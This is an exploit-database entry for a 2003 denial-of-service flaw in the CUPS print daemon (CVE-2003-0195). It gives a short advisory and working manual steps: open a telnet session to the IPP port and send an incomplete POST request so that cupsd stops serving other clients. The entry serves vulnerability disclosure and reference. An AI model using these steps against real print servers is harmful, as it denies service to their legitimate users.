CUPS 1.1.x - Cupsd Request Method Denial of Service

Author: Phil D'Amore
type: dos
platform: linux
port: 
date_added: 2003-05-20 
date_updated: 2012-11-11 
verified: 1 
codes: CVE-2003-0195;OSVDB-4780 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/7637/info

The cupsd has been reported prone to a denial of service vulnerability.

Reportedly the cupsd does not adequately apply a time-out process for malicious HTTP requests and service is denied to subsequent cupsd requests.

This issue may be exploited by remote attackers to deny cupsd service to valid users.

$ telnet <your_favorite_cups_server> ipp
POST /printers/<your_favorite_printer> HTTP/1.1

Don't enter the second carriage return to complete the headers, just the POST line and one carriage return.